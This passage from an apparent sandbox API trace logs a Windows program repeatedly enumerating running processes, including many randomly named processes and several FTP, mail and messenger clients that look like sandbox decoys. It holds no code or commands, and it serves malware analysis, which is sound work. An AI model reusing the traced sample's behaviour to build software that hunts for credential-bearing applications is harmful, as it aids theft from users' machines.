pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0104.824] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0104.826] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0104.828] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0104.831] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0104.833] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0104.835] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0104.837] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0104.839] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0104.841] Process32Next (in: hSnapshot=0x2068, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0104.843] CloseHandle (hObject=0x2068) returned 1 [0104.843] Sleep (dwMilliseconds=0x64) [0105.045] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16e0 [0105.075] Process32First (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0105.077] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0105.079] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0105.081] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0105.226] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0105.228] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0105.230] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0105.232] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0105.234] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0105.236] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.239] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.241] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0105.243] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.244] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.246] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.364] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.367] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.369] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.371] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.373] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0105.375] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0105.377] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.379] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0105.381] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.383] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0105.385] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0105.387] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0105.389] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0105.390] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0105.392] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0105.394] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0105.398] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0105.400] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0105.402] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0105.404] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0105.406] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0105.409] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0105.411] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0105.413] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0105.445] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0105.448] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0105.450] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0105.452] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0105.454] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0105.456] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0105.459] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0105.461] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0105.463] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0105.465] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0105.467] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0105.469] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0105.471] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0105.473] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0105.475] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0105.477] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0105.479] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0105.481] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0105.483] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0105.486] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0105.491] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0105.494] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0105.496] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0105.499] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0105.502] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0105.504] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0105.507] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0105.509] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0105.512] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0105.514] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0105.517] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0105.521] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0105.524] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0105.526] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0105.529] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0105.531] Process32Next (in: hSnapshot=0x16e0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, 